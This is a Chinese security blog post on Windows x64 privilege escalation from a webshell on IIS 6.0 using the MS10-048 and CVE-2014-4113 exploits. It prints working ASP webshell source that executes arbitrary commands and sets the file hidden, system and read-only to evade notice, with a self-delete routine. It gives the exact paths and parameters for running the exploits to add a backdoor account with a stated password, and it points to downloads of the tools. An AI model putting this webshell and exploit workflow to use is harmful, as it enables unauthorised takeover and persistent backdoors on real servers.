Windows x64 Local Privilege Escalation
在CVE-2014-4113出来后,x64环境下的提权又是一片短暂的光明。在此漏洞披露前,PR/IIS溢出/LPK劫持等对64位版本都无效果,网上公开曾有一个Exp有效,代号为MS10048 x64。
本文谨记录x64下可提权的Exp与测试过程。暂不考虑依赖第三方服务(如MSSQL/MYSQL/FTP)等的提权。
测试环境: Windows Server 2003 Enterprise x64 Edition - VL IIS 6.0
在测试提权Exp之前,假使我们已获得一个一句话后门。
虚拟终端看到权限不足,默默的传一个cmd.exe,设置好变量后可以正常执行命令了,甩上最新的CVE-2014-4113的exp先
机智的发现没有任何反应,这在ms10048上也有所体现。64位exp提权与32位提权有所区别,32位下存在虚拟终端无参数提权的exp,即使传参,也是通过以下方式执行:
c:\cmd.exe /c c:\exp.exe parms
但是x64下的几个exp则需要这样执行:
c:\exp.exe c:\recycler\server.exe
手传大马可执行Exp,但强迫症的还是喜欢自己动手丰衣足食(亦可以称做重复造轮子XD),kyo327曾在《浅谈在webshell下执行命令》中有所提及,先奉上部分代码窥知一二:
<object runat=server id=shell scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object> <%if err then%> <object runat=server id=shell scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object> <% end if %> <% 'exec command Dim path,parms,method,result path=Trim(Request("path")) parms=Trim(Request("parms")) method=Trim(Request("submit")) result="" If path="" Then path="C:\WINDOWS\system32\cmd.exe" If parms="" Then parms="/c " If method="wscript.shell" Then result=shell.exec(path&" "&parms).stdout.readall Elseif method="shell.application" Then set newshell=createobject("shell.application") newshell.ShellExecute path,parms,"","open",0 result="Shell.application Execute OK." Elseif method="self.delete" Then file.attributes = 0 fso.deletefile(file_name) set fso = nothing End If %>
以上为借助Wscript.shell与Shell.application两种方式执行命令,为加强一点隐蔽性,加入几行保护代码(只读,系统,隐藏):
<% 'hidded shell dim file_name file_name = Server.MapPath("./") & Replace(Request.ServerVariables("Script_Name"),"/","\") set fso = createobject("scripting.filesystemobject") set file = fso.getfile(file_name) file.attributes = 1+2+4 %>
最后实现效果如下:
隐藏属性:
左上角显示支持组件,右侧path填写执行程序路径(如上传的cmd或exp),parms填写参数(cmd执行需/c参数,exp不需要)
三个Button分别表示:以script.shell执行命令 / 以Shell.application执行命令 / 脚本自删除
简单的一个示例:
以上代码在此处开源:
https://github.com/le4f/aspexec
MS10048的exploit分32与64两版本,漏洞存在于xxxCreateWindowEx()函数创建窗口时的本地权限提升.
64位环境下可以用以执行木马后门或提权,首先拿来K8Team的一个无参数添加用户,通过API添加用户,在删除或禁用net1.exe时亦可直接添加:
用户名k8team$,密码k8team!@#
借助AspExec,可以很方便的提权,上传exp(ms10048.exe)与添加用户程序(user.exe)
Path: c:\inetpub\wwwroot\ms10048.exe Parms: c:\inetpub\wwwroot\user.exe
注意不需要/c参数,使用wscript.shell或shell.applicatin依具体环境设置而定,以默认(wscript.shell)为例,执行后短暂的延迟:
查看目标主机用户,添加成功
至于user.exe替换成别的后门也都类似的。ms10048影响x64版本主要是Windows2003,对于新版系统还是测试CVE-2014-4113吧
相较于MS10048,新的exp(MS14-058)效果要好很多,Exp同样分32/64两个版本,同样使用user.exe添加账户测试:
Path: c:\inetpub\wwwroot\64.exe Parms: c:\inetpub\wwwroot\user.exe
上传64.exe(exp)执行后回显如下:
基本没有明显延迟,很顺利的添加账号
以上整理仅为对实际环境模拟测试,顺便写份代码分享;)
如有错误或不足,还望指点.若有新的Exploit出现,笔者也会及时补充测试.
本文所涉及的aspexec、cve-2014-4113、ms10048等附件地址在戳这里下载 (密码secpulse)
【本文来自le4f冷夜同学的投稿,首发在安全脉搏,经团队评议以实践和总结见长,已发放稿费至作者支付宝】